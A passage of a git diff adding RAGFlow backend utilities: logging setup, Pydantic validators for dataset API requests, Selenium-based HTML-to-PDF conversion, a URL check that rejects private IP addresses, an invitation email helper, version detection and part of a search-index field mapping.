cls=CustomJSONEncoder, + with_type=with_type) + if byte: + dest = string_to_bytes(dest) + return dest + + +def json_loads(src, object_hook=None, object_pairs_hook=None): + if isinstance(src, bytes): + src = bytes_to_string(src) + return json.loads(src, object_hook=object_hook, + object_pairs_hook=object_pairs_hook) diff --git a/api/utils/log_utils.py b/api/utils/log_utils.py new file mode 100644 index 0000000..0a4840e --- /dev/null +++ b/api/utils/log_utils.py @@ -0,0 +1,91 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import os +import os.path +import logging +from logging.handlers import RotatingFileHandler + +initialized_root_logger = False + +def get_project_base_directory(): + PROJECT_BASE = os.path.abspath( + os.path.join( + os.path.dirname(os.path.realpath(__file__)), + os.pardir, + os.pardir, + ) + ) + return PROJECT_BASE + +def init_root_logger(logfile_basename: str, log_format: str = "%(asctime)-15s %(levelname)-8s %(process)d %(message)s"): + global initialized_root_logger + if initialized_root_logger: + return + initialized_root_logger = True + + logger = logging.getLogger() + logger.handlers.clear() + log_path = os.path.abspath(os.path.join(get_project_base_directory(), "logs", f"{logfile_basename}.log")) + + os.makedirs(os.path.dirname(log_path), exist_ok=True) + formatter = logging.Formatter(log_format) + + handler1 = RotatingFileHandler(log_path, maxBytes=10*1024*1024, backupCount=5) + handler1.setFormatter(formatter) + logger.addHandler(handler1) + + handler2 = logging.StreamHandler() + handler2.setFormatter(formatter) + logger.addHandler(handler2) + + logging.captureWarnings(True) + + LOG_LEVELS = os.environ.get("LOG_LEVELS", "") + pkg_levels = {} + for pkg_name_level in LOG_LEVELS.split(","): + terms = pkg_name_level.split("=") + if len(terms)!= 2: + continue + pkg_name, pkg_level = terms[0], terms[1] + pkg_name = pkg_name.strip() + pkg_level = logging.getLevelName(pkg_level.strip().upper()) + if not isinstance(pkg_level, int): + pkg_level = logging.INFO + pkg_levels[pkg_name] = logging.getLevelName(pkg_level) + + for pkg_name in ['peewee', 'pdfminer']: + if pkg_name not in pkg_levels: + pkg_levels[pkg_name] = logging.getLevelName(logging.WARNING) + if 'root' not in pkg_levels: + pkg_levels['root'] = logging.getLevelName(logging.INFO) + + for pkg_name, pkg_level in pkg_levels.items(): + pkg_logger = logging.getLogger(pkg_name) + pkg_logger.setLevel(pkg_level) + + msg = f"{logfile_basename} log path: {log_path}, log levels: {pkg_levels}" + logger.info(msg) + + +def log_exception(e, *args): + logging.exception(e) + for a in args: + if hasattr(a, "text"): + logging.error(a.text) + raise Exception(a.text) + else: + logging.error(str(a)) + raise e \ No newline at end of file diff --git a/api/utils/validation_utils.py b/api/utils/validation_utils.py new file mode 100644 index 0000000..caf3f09 --- /dev/null +++ b/api/utils/validation_utils.py @@ -0,0 +1,636 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from collections import Counter +from typing import Annotated, Any, Literal +from uuid import UUID + +from flask import Request +from pydantic import ( + BaseModel, + ConfigDict, + Field, + StringConstraints, + ValidationError, + field_validator, +) +from pydantic_core import PydanticCustomError +from werkzeug.exceptions import BadRequest, UnsupportedMediaType + +from api.constants import DATASET_NAME_LIMIT + + +def validate_and_parse_json_request(request: Request, validator: type[BaseModel], *, extras: dict[str, Any] | None = None, exclude_unset: bool = False) -> tuple[dict[str, Any] | None, str | None]: + """ + Validates and parses JSON requests through a multi-stage validation pipeline. + + Implements a four-stage validation process: + 1. Content-Type verification (must be application/json) + 2. JSON syntax validation + 3. Payload structure type checking + 4. Pydantic model validation with error formatting + + Args: + request (Request): Flask request object containing HTTP payload + validator (type[BaseModel]): Pydantic model class for data validation + extras (dict[str, Any] | None): Additional fields to merge into payload + before validation. These fields will be removed from the final output + exclude_unset (bool): Whether to exclude fields that have not been explicitly set + + Returns: + tuple[Dict[str, Any] | None, str | None]: + - First element: + - Validated dictionary on success + - None on validation failure + - Second element: + - None on success + - Diagnostic error message on failure + + Raises: + UnsupportedMediaType: When Content-Type header is not application/json + BadRequest: For structural JSON syntax errors + ValidationError: When payload violates Pydantic schema rules + + Examples: + >>> validate_and_parse_json_request(valid_request, DatasetSchema) + ({"name": "Dataset1", "format": "csv"}, None) + + >>> validate_and_parse_json_request(xml_request, DatasetSchema) + (None, "Unsupported content type: Expected application/json, got text/xml") + + >>> validate_and_parse_json_request(bad_json_request, DatasetSchema) + (None, "Malformed JSON syntax: Missing commas/brackets or invalid encoding") + + Notes: + 1. Validation Priority: + - Content-Type verification precedes JSON parsing + - Structural validation occurs before schema validation + 2. Extra fields added via `extras` parameter are automatically removed + from the final output after validation + """ + try: + payload = request.get_json() or {} + except UnsupportedMediaType: + return None, f"Unsupported content type: Expected application/json, got {request.content_type}" + except BadRequest: + return None, "Malformed JSON syntax: Missing commas/brackets or invalid encoding" + + if not isinstance(payload, dict): + return None, f"Invalid request payload: expected object, got {type(payload).__name__}" + + try: + if extras is not None: + payload.update(extras) + validated_request = validator(**payload) + except ValidationError as e: + return None, format_validation_error_message(e) + + parsed_payload = validated_request.model_dump(by_alias=True, exclude_unset=exclude_unset) + + if extras is not None: + for key in list(parsed_payload.keys()): + if key in extras: + del parsed_payload[key] + + return parsed_payload, None + + +def validate_and_parse_request_args(request: Request, validator: type[BaseModel], *, extras: dict[str, Any] | None = None) -> tuple[dict[str, Any] | None, str | None]: + """ + Validates and parses request arguments against a Pydantic model. + + This function performs a complete request validation workflow: + 1. Extracts query parameters from the request + 2. Merges with optional extra values (if provided) + 3. Validates against the specified Pydantic model + 4. Cleans the output by removing extra values + 5. Returns either parsed data or an error message + + Args: + request (Request): Web framework request object containing query parameters + validator (type[BaseModel]): Pydantic model class for validation + extras (dict[str, Any] | None): Optional additional values to include in validation + but exclude from final output. Defaults to None. + + Returns: + tuple[dict[str, Any] | None, str | None]: + - First element: Validated/parsed arguments as dict if successful, None otherwise + - Second element: Formatted error message if validation failed, None otherwise + + Behavior: + - Query parameters are merged with extras before validation + - Extras are automatically removed from the final output + - All validation errors are formatted into a human-readable string + + Raises: + TypeError: If validator is not a Pydantic BaseModel subclass + + Examples: + Successful validation: + >>> validate_and_parse_request_args(request, MyValidator) + ({'param1': 'value'}, None) + + Failed validation: + >>> validate_and_parse_request_args(request, MyValidator) + (None, "param1: Field required") + + With extras: + >>> validate_and_parse_request_args(request, MyValidator, extras={'internal_id': 123}) + ({'param1': 'value'}, None) # internal_id removed from output + + Notes: + - Uses request.args.to_dict() for Flask-compatible parameter extraction + - Maintains immutability of original request arguments + - Preserves type conversion from Pydantic validation + """ + args = request.args.to_dict(flat=True) + try: + if extras is not None: + args.update(extras) + validated_args = validator(**args) + except ValidationError as e: + return None, format_validation_error_message(e) + + parsed_args = validated_args.model_dump() + if extras is not None: + for key in list(parsed_args.keys()): + if key in extras: + del parsed_args[key] + + return parsed_args, None + + +def format_validation_error_message(e: ValidationError) -> str: + """ + Formats validation errors into a standardized string format. + + Processes pydantic ValidationError objects to create human-readable error messages + containing field locations, error descriptions, and input values. + + Args: + e (ValidationError): The validation error instance containing error details + + Returns: + str: Formatted error messages joined by newlines. Each line contains: + - Field path (dot-separated) + - Error message + - Truncated input value (max 128 chars) + + Example: + >>> try: + ... UserModel(name=123, email="invalid") + ... except ValidationError as e: + ... print(format_validation_error_message(e)) + Field: - Message: - Value: <123> + Field: - Message: - Value: + """ + error_messages = [] + + for error in e.errors(): + field = ".".join(map(str, error["loc"])) + msg = error["msg"] + input_val = error["input"] + input_str = str(input_val) + + if len(input_str) > 128: + input_str = input_str[:125] + "..." + + error_msg = f"Field: <{field}> - Message: <{msg}> - Value: <{input_str}>" + error_messages.append(error_msg) + + return "\n".join(error_messages) + + +def normalize_str(v: Any) -> Any: + """ + Normalizes string values to a standard format while preserving non-string inputs. + + Performs the following transformations when input is a string: + 1. Trims leading/trailing whitespace (str.strip()) + 2. Converts to lowercase (str.lower()) + + Non-string inputs are returned unchanged, making this function safe for mixed-type + processing pipelines. + + Args: + v (Any): Input value to normalize. Accepts any Python object. + + Returns: + Any: Normalized string if input was string-type, original value otherwise. + + Behavior Examples: + String Input: " Admin " → "admin" + Empty String: " " → "" (empty string) + Non-String: + - 123 → 123 + - None → None + - ["User"] → ["User"] + + Typical Use Cases: + - Standardizing user input + - Preparing data for case-insensitive comparison + - Cleaning API parameters + - Normalizing configuration values + + Edge Cases: + - Unicode whitespace is handled by str.strip() + - Locale-independent lowercasing (str.lower()) + - Preserves falsy values (0, False, etc.) + + Example: + >>> normalize_str(" ReadOnly ") + 'readonly' + >>> normalize_str(42) + 42 + """ + if isinstance(v, str): + stripped = v.strip() + normalized = stripped.lower() + return normalized + return v + + +def validate_uuid1_hex(v: Any) -> str: + """ + Validates and converts input to a UUID version 1 hexadecimal string. + + This function performs strict validation and normalization: + 1. Accepts either UUID objects or UUID-formatted strings + 2. Verifies the UUID is version 1 (time-based) + 3. Returns the 32-character hexadecimal representation + + Args: + v (Any): Input value to validate. Can be: + - UUID object (must be version 1) + - String in UUID format (e.g. "550e8400-e29b-41d4-a716-446655440000") + + Returns: + str: 32-character lowercase hexadecimal string without hyphens + Example: "550e8400e29b41d4a716446655440000" + + Raises: + PydanticCustomError: With code "invalid_UUID1_format" when: + - Input is not a UUID object or valid UUID string + - UUID version is not 1 + - String doesn't match UUID format + + Examples: + Valid cases: + >>> validate_uuid1_hex("550e8400-e29b-41d4-a716-446655440000") + '550e8400e29b41d4a716446655440000' + >>> validate_uuid1_hex(UUID('550e8400-e29b-41d4-a716-446655440000')) + '550e8400e29b41d4a716446655440000' + + Invalid cases: + >>> validate_uuid1_hex("not-a-uuid") # raises PydanticCustomError + >>> validate_uuid1_hex(12345) # raises PydanticCustomError + >>> validate_uuid1_hex(UUID(int=0)) # v4, raises PydanticCustomError + + Notes: + - Uses Python's built-in UUID parser for format validation + - Version check prevents accidental use of other UUID versions + - Hyphens in input strings are automatically removed in output + """ + try: + uuid_obj = UUID(v) if isinstance(v, str) else v + if uuid_obj.version != 1: + raise PydanticCustomError("invalid_UUID1_format", "Must be a UUID1 format") + return uuid_obj.hex + except (AttributeError, ValueError, TypeError): + raise PydanticCustomError("invalid_UUID1_format", "Invalid UUID1 format") + + +class Base(BaseModel): + model_config = ConfigDict(extra="forbid", strict=True) + + +class RaptorConfig(Base): + use_raptor: Annotated[bool, Field(default=False)] + prompt: Annotated[ + str, + StringConstraints(strip_whitespace=True, min_length=1), + Field( + default="Please summarize the following paragraphs. Be careful with the numbers, do not make things up. Paragraphs as following:\n {cluster_content}\nThe above is the content you need to summarize." + ), + ] + max_token: Annotated[int, Field(default=256, ge=1, le=2048)] + threshold: Annotated[float, Field(default=0.1, ge=0.0, le=1.0)] + max_cluster: Annotated[int, Field(default=64, ge=1, le=1024)] + random_seed: Annotated[int, Field(default=0, ge=0)] + + +class GraphragConfig(Base): + use_graphrag: Annotated[bool, Field(default=False)] + entity_types: Annotated[list[str], Field(default_factory=lambda: ["organization", "person", "geo", "event", "category"])] + method: Annotated[Literal["light", "general"], Field(default="light")] + community: Annotated[bool, Field(default=False)] + resolution: Annotated[bool, Field(default=False)] + + +class ParserConfig(Base): + auto_keywords: Annotated[int, Field(default=0, ge=0, le=32)] + auto_questions: Annotated[int, Field(default=0, ge=0, le=10)] + chunk_token_num: Annotated[int, Field(default=512, ge=1, le=2048)] + delimiter: Annotated[str, Field(default=r"\n", min_length=1)] + graphrag: Annotated[GraphragConfig, Field(default_factory=lambda: GraphragConfig(use_graphrag=False))] + html4excel: Annotated[bool, Field(default=False)] + layout_recognize: Annotated[str, Field(default="DeepDOC")] + raptor: Annotated[RaptorConfig, Field(default_factory=lambda: RaptorConfig(use_raptor=False))] + tag_kb_ids: Annotated[list[str], Field(default_factory=list)] + topn_tags: Annotated[int, Field(default=1, ge=1, le=10)] + filename_embd_weight: Annotated[float | None, Field(default=0.1, ge=0.0, le=1.0)] + task_page_size: Annotated[int | None, Field(default=None, ge=1)] + pages: Annotated[list[list[int]] | None, Field(default=None)] + + +class CreateDatasetReq(Base): + name: Annotated[str, StringConstraints(strip_whitespace=True, min_length=1, max_length=DATASET_NAME_LIMIT), Field(...)] + avatar: Annotated[str | None, Field(default=None, max_length=65535)] + description: Annotated[str | None, Field(default=None, max_length=65535)] + embedding_model: Annotated[str | None, Field(default=None, max_length=255, serialization_alias="embd_id")] + permission: Annotated[Literal["me", "team"], Field(default="me", min_length=1, max_length=16)] + chunk_method: Annotated[ + Literal["naive", "book", "email", "laws", "manual", "one", "paper", "picture", "presentation", "qa", "table", "tag"], + Field(default="naive", min_length=1, max_length=32, serialization_alias="parser_id"), + ] + parser_config: Annotated[ParserConfig | None, Field(default=None)] + + @field_validator("avatar", mode="after") + @classmethod + def validate_avatar_base64(cls, v: str | None) -> str | None: + """ + Validates Base64-encoded avatar string format and MIME type compliance. + + Implements a three-stage validation workflow: + 1. MIME prefix existence check + 2. MIME type format validation + 3. Supported type verification + + Args: + v (str): Raw avatar field value + + Returns: + str: Validated Base64 string + + Raises: + PydanticCustomError: For structural errors in these cases: + - Missing MIME prefix header + - Invalid MIME prefix format + - Unsupported image MIME type + + Example: + ```python + # Valid case + CreateDatasetReq(avatar="data:image/png;base64,iVBORw0KGg...") + + # Invalid cases + CreateDatasetReq(avatar="image/jpeg;base64,...") # Missing 'data:' prefix + CreateDatasetReq(avatar="data:video/mp4;base64,...") # Unsupported MIME type + ``` + """ + if v is None: + return v + + if "," in v: + prefix, _ = v.split(",", 1) + if not prefix.startswith("data:"): + raise PydanticCustomError("format_invalid", "Invalid MIME prefix format. Must start with 'data:'") + + mime_type = prefix[5:].split(";")[0] + supported_mime_types = ["image/jpeg", "image/png"] + if mime_type not in supported_mime_types: + raise PydanticCustomError("format_invalid", "Unsupported MIME type. Allowed: {supported_mime_types}", {"supported_mime_types": supported_mime_types}) + + return v + else: + raise PydanticCustomError("format_invalid", "Missing MIME prefix. Expected format: data:;base64,") + + @field_validator("embedding_model", mode="before") + @classmethod + def normalize_embedding_model(cls, v: Any) -> Any: + """Normalize embedding model string by stripping whitespace""" + if isinstance(v, str): + return v.strip() + return v + + @field_validator("embedding_model", mode="after") + @classmethod + def validate_embedding_model(cls, v: str | None) -> str | None: + """ + Validates embedding model identifier format compliance. + + Validation pipeline: + 1. Structural format verification + 2. Component non-empty check + 3. Value normalization + + Args: + v (str): Raw model identifier + + Returns: + str: Validated @ format + + Raises: + PydanticCustomError: For these violations: + - Missing @ separator + - Empty model_name/provider + - Invalid component structure + + Examples: + Valid: "text-embedding-3-large@openai" + Invalid: "invalid_model" (no @) + Invalid: "@openai" (empty model_name) + Invalid: "text-embedding-3-large@" (empty provider) + """ + if isinstance(v, str): + if "@" not in v: + raise PydanticCustomError("format_invalid", "Embedding model identifier must follow @ format") + + components = v.split("@", 1) + if len(components) != 2 or not all(components): + raise PydanticCustomError("format_invalid", "Both model_name and provider must be non-empty strings") + + model_name, provider = components + if not model_name.strip() or not provider.strip(): + raise PydanticCustomError("format_invalid", "Model name and provider cannot be whitespace-only strings") + return v + + # @field_validator("permission", mode="before") + # @classmethod + # def normalize_permission(cls, v: Any) -> Any: + # return normalize_str(v) + + @field_validator("parser_config", mode="before") + @classmethod + def normalize_empty_parser_config(cls, v: Any) -> Any: + """ + Normalizes empty parser configuration by converting empty dictionaries to None. + + This validator ensures consistent handling of empty parser configurations across + the application by converting empty dicts to None values. + + Args: + v (Any): Raw input value for the parser config field + + Returns: + Any: Returns None if input is an empty dict, otherwise returns the original value + + Example: + >>> normalize_empty_parser_config({}) + None + + >>> normalize_empty_parser_config({"key": "value"}) + {"key": "value"} + """ + if v == {}: + return None + return v + + @field_validator("parser_config", mode="after") + @classmethod + def validate_parser_config_json_length(cls, v: ParserConfig | None) -> ParserConfig | None: + """ + Validates serialized JSON length constraints for parser configuration. + + Implements a two-stage validation workflow: + 1. Null check - bypass validation for empty configurations + 2. Model serialization - convert Pydantic model to JSON string + 3. Size verification - enforce maximum allowed payload size + + Args: + v (ParserConfig | None): Raw parser configuration object + + Returns: + ParserConfig | None: Validated configuration object + + Raises: + PydanticCustomError: When serialized JSON exceeds 65,535 characters + """ + if v is None: + return None + + if (json_str := v.model_dump_json()) and len(json_str) > 65535: + raise PydanticCustomError("string_too_long", "Parser config exceeds size limit (max 65,535 characters). Current size: {actual}", {"actual": len(json_str)}) + return v + + +class UpdateDatasetReq(CreateDatasetReq): + dataset_id: Annotated[str, Field(...)] + name: Annotated[str, StringConstraints(strip_whitespace=True, min_length=1, max_length=DATASET_NAME_LIMIT), Field(default="")] + pagerank: Annotated[int, Field(default=0, ge=0, le=100)] + + @field_validator("dataset_id", mode="before") + @classmethod + def validate_dataset_id(cls, v: Any) -> str: + return validate_uuid1_hex(v) + + +class DeleteReq(Base): + ids: Annotated[list[str] | None, Field(...)] + + @field_validator("ids", mode="after") + @classmethod + def validate_ids(cls, v_list: list[str] | None) -> list[str] | None: + """ + Validates and normalizes a list of UUID strings with None handling. + + This post-processing validator performs: + 1. None input handling (pass-through) + 2. UUID version 1 validation for each list item + 3. Duplicate value detection + 4. Returns normalized UUID hex strings or None + + Args: + v_list (list[str] | None): Input list that has passed initial validation. + Either a list of UUID strings or None. + + Returns: + list[str] | None: + - None if input was None + - List of normalized UUID hex strings otherwise: + * 32-character lowercase + * Valid UUID version 1 + * Unique within list + + Raises: + PydanticCustomError: With structured error details when: + - "invalid_UUID1_format": Any string fails UUIDv1 validation + - "duplicate_uuids": If duplicate IDs are detected + + Validation Rules: + - None input returns None + - Empty list returns empty list + - All non-None items must be valid UUIDv1 + - No duplicates permitted + - Original order preserved + + Examples: + Valid cases: + >>> validate_ids(None) + None + >>> validate_ids([]) + [] + >>> validate_ids(["550e8400-e29b-41d4-a716-446655440000"]) + ["550e8400e29b41d4a716446655440000"] + + Invalid cases: + >>> validate_ids(["invalid"]) + # raises PydanticCustomError(invalid_UUID1_format) + >>> validate_ids(["550e...", "550e..."]) + # raises PydanticCustomError(duplicate_uuids) + + Security Notes: + - Validates UUID version to prevent version spoofing + - Duplicate check prevents data injection + - None handling maintains pipeline integrity + """ + if v_list is None: + return None + + ids_list = [] + for v in v_list: + try: + ids_list.append(validate_uuid1_hex(v)) + except PydanticCustomError as e: + raise e + + duplicates = [item for item, count in Counter(ids_list).items() if count > 1] + if duplicates: + duplicates_str = ", ".join(duplicates) + raise PydanticCustomError("duplicate_uuids", "Duplicate ids: '{duplicate_ids}'", {"duplicate_ids": duplicates_str}) + + return ids_list + + +class DeleteDatasetReq(DeleteReq): ... + + +class BaseListReq(BaseModel): + model_config = ConfigDict(extra="forbid") + + id: Annotated[str | None, Field(default=None)] + name: Annotated[str | None, Field(default=None)] + page: Annotated[int, Field(default=1, ge=1)] + page_size: Annotated[int, Field(default=30, ge=1)] + orderby: Annotated[Literal["create_time", "update_time"], Field(default="create_time")] + desc: Annotated[bool, Field(default=True)] + + @field_validator("id", mode="before") + @classmethod + def validate_id(cls, v: Any) -> str: + return validate_uuid1_hex(v) + + +class ListDatasetReq(BaseListReq): ... diff --git a/api/utils/web_utils.py b/api/utils/web_utils.py new file mode 100644 index 0000000..55ce561 --- /dev/null +++ b/api/utils/web_utils.py @@ -0,0 +1,201 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import base64 +import ipaddress +import json +import re +import socket +from urllib.parse import urlparse + +from api.apps import smtp_mail_server +from flask_mail import Message +from flask import render_template_string +from selenium import webdriver +from selenium.common.exceptions import TimeoutException +from selenium.webdriver.chrome.options import Options +from selenium.webdriver.chrome.service import Service +from selenium.webdriver.common.by import By +from selenium.webdriver.support.expected_conditions import staleness_of +from selenium.webdriver.support.ui import WebDriverWait +from webdriver_manager.chrome import ChromeDriverManager + + + +CONTENT_TYPE_MAP = { + # Office + "docx": "application/vnd.openxmlformats-officedocument.wordprocessingml.document", + "doc": "application/msword", + "pdf": "application/pdf", + "csv": "text/csv", + "xls": "application/vnd.ms-excel", + "xlsx": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", + # Text/code + "txt": "text/plain", + "py": "text/plain", + "js": "text/plain", + "java": "text/plain", + "c": "text/plain", + "cpp": "text/plain", + "h": "text/plain", + "php": "text/plain", + "go": "text/plain", + "ts": "text/plain", + "sh": "text/plain", + "cs": "text/plain", + "kt": "text/plain", + "sql": "text/plain", + # Web + "md": "text/markdown", + "markdown": "text/markdown", + "htm": "text/html", + "html": "text/html", + "json": "application/json", + # Image formats + "png": "image/png", + "jpg": "image/jpeg", + "jpeg": "image/jpeg", + "gif": "image/gif", + "bmp": "image/bmp", + "tiff": "image/tiff", + "tif": "image/tiff", + "webp": "image/webp", + "svg": "image/svg+xml", + "ico": "image/x-icon", + "avif": "image/avif", + "heic": "image/heic", +} + + +def html2pdf( + source: str, + timeout: int = 2, + install_driver: bool = True, + print_options: dict = {}, +): + result = __get_pdf_from_html(source, timeout, install_driver, print_options) + return result + + +def __send_devtools(driver, cmd, params={}): + resource = "/session/%s/chromium/send_command_and_get_result" % driver.session_id + url = driver.command_executor._url + resource + body = json.dumps({"cmd": cmd, "params": params}) + response = driver.command_executor._request("POST", url, body) + + if not response: + raise Exception(response.get("value")) + + return response.get("value") + + +def __get_pdf_from_html(path: str, timeout: int, install_driver: bool, print_options: dict): + webdriver_options = Options() + webdriver_prefs = {} + webdriver_options.add_argument("--headless") + webdriver_options.add_argument("--disable-gpu") + webdriver_options.add_argument("--no-sandbox") + webdriver_options.add_argument("--disable-dev-shm-usage") + webdriver_options.experimental_options["prefs"] = webdriver_prefs + + webdriver_prefs["profile.default_content_settings"] = {"images": 2} + + if install_driver: + service = Service(ChromeDriverManager().install()) + driver = webdriver.Chrome(service=service, options=webdriver_options) + else: + driver = webdriver.Chrome(options=webdriver_options) + + driver.get(path) + + try: + WebDriverWait(driver, timeout).until(staleness_of(driver.find_element(by=By.TAG_NAME, value="html"))) + except TimeoutException: + calculated_print_options = { + "landscape": False, + "displayHeaderFooter": False, + "printBackground": True, + "preferCSSPageSize": True, + } + calculated_print_options.update(print_options) + result = __send_devtools(driver, "Page.printToPDF", calculated_print_options) + driver.quit() + return base64.b64decode(result["data"]) + + +def is_private_ip(ip: str) -> bool: + try: + ip_obj = ipaddress.ip_address(ip) + return ip_obj.is_private + except ValueError: + return False + + +def is_valid_url(url: str) -> bool: + if not re.match(r"(https?)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]", url): + return False + parsed_url = urlparse(url) + hostname = parsed_url.hostname + + if not hostname: + return False + try: + ip = socket.gethostbyname(hostname) + if is_private_ip(ip): + return False + except socket.gaierror: + return False + return True + + +def safe_json_parse(data: str | dict) -> dict: + if isinstance(data, dict): + return data + try: + return json.loads(data) if data else {} + except (json.JSONDecodeError, TypeError): + return {} + + +def get_float(req: dict, key: str, default: float | int = 10.0) -> float: + try: + parsed = float(req.get(key, default)) + return parsed if parsed > 0 else default + except (TypeError, ValueError): + return default + + +INVITE_EMAIL_TMPL = """ +

Hi {{email}},

+

{{inviter}} has invited you to join their team (ID: {{tenant_id}}).

+

Click the link below to complete your registration:
+{{invite_url}}

+

If you did not request this, please ignore this email.

+""" + +def send_invite_email(to_email, invite_url, tenant_id, inviter): + from api.apps import app + with app.app_context(): + msg = Message(subject="RAGFlow Invitation", + recipients=[to_email]) + msg.html = render_template_string( + INVITE_EMAIL_TMPL, + email=to_email, + invite_url=invite_url, + tenant_id=tenant_id, + inviter=inviter, + ) + smtp_mail_server.send(msg) diff --git a/api/validation.py b/api/validation.py new file mode 100644 index 0000000..b552b33 --- /dev/null +++ b/api/validation.py @@ -0,0 +1,49 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import logging +import sys + + +def python_version_validation(): + # Check python version + required_python_version = (3, 10) + if sys.version_info < required_python_version: + logging.info( + f"Required Python: >= {required_python_version[0]}.{required_python_version[1]}. Current Python version: {sys.version_info[0]}.{sys.version_info[1]}." + ) + sys.exit(1) + else: + logging.info(f"Python version: {sys.version_info[0]}.{sys.version_info[1]}") + + +python_version_validation() + + +# Download nltk data +def download_nltk_data(): + import nltk + nltk.download('wordnet', halt_on_error=False, quiet=True) + nltk.download('punkt_tab', halt_on_error=False, quiet=True) + + +try: + from multiprocessing import Pool + pool = Pool(processes=1) + thread = pool.apply_async(download_nltk_data) + binary = thread.get(timeout=60) +except Exception: + print('\x1b[6;37;41m WARNING \x1b[0m' + "Downloading NLTK data failure.", flush=True) diff --git a/api/versions.py b/api/versions.py new file mode 100644 index 0000000..6ba1e34 --- /dev/null +++ b/api/versions.py @@ -0,0 +1,52 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import os +import subprocess + +RAGFLOW_VERSION_INFO = "unknown" + + +def get_ragflow_version() -> str: + global RAGFLOW_VERSION_INFO + if RAGFLOW_VERSION_INFO != "unknown": + return RAGFLOW_VERSION_INFO + version_path = os.path.abspath( + os.path.join( + os.path.dirname(os.path.realpath(__file__)), os.pardir, "VERSION" + ) + ) + if os.path.exists(version_path): + with open(version_path, "r") as f: + RAGFLOW_VERSION_INFO = f.read().strip() + else: + RAGFLOW_VERSION_INFO = get_closest_tag_and_count() + LIGHTEN = int(os.environ.get("LIGHTEN", "0")) + RAGFLOW_VERSION_INFO += " slim" if LIGHTEN == 1 else " full" + return RAGFLOW_VERSION_INFO + + +def get_closest_tag_and_count(): + try: + # Get the current commit hash + version_info = ( + subprocess.check_output(["git", "describe", "--tags", "--match=v*", "--first-parent", "--always"]) + .strip() + .decode("utf-8") + ) + return version_info + except Exception: + return "unknown" diff --git a/conf/infinity_mapping.json b/conf/infinity_mapping.json new file mode 100644 index 0000000..3e39044 --- /dev/null +++ b/conf/infinity_mapping.json @@ -0,0 +1,44 @@ +{ + "id": {"type": "varchar", "default": ""}, + "doc_id": {"type": "varchar", "default": ""}, + "kb_id": {"type": "varchar", "default": ""}, + "create_time": {"type": "varchar", "default": ""}, + "create_timestamp_flt": {"type": "float", "default": 0.0}, + "img_id": {"type": "varchar", "default": ""}, + "docnm_kwd": {"type": "varchar", "default": ""}, + "title_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"}, + "title_sm_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"}, + "name_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"}, + "important_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"}, + "tag_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"}, + "important_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"}, + "question_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"}, + "question_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"}, + "content_with_weight": {"type": "varchar", "default": ""}, + "content_ltks": {"type": "varchar", "default": "", "analyzer": "whitespace"}, + "content_sm_ltks": {"type": "varchar", "default": "", "analyzer": "whitespace"}, + "authors_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"}, + "authors_sm_tks": {"type": "varchar", "default": "", "analyzer": "whitespace"}, + "page_num_int": {"type": "varchar", "default": ""}, + "top_int": {"type": "varchar", "default": ""}, + "position_int": {"type": "varchar", "default": ""}, + "weight_int": {"type": "integer", "default": 0}, + "weight_flt": {"type": "float", "default": 0.0}, + "rank_int": {"type": "integer", "default": 0}, + "rank_flt": {"type": "float", "default": 0}, + "available_int": {"type": "integer", "default": 1}, + "knowledge_graph_kwd": {"type": "varchar", "default": ""}, + "entities_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"}, + "pagerank_fea": {"type": "integer", "default": 0}, + "tag_feas": {"type": "varchar", "default": "", "analyzer": "rankfeatures"}, + + "from_entity_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"}, + "to_entity_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"}, + "entity_kwd": {"type": "varchar", "default": "", "analyzer": 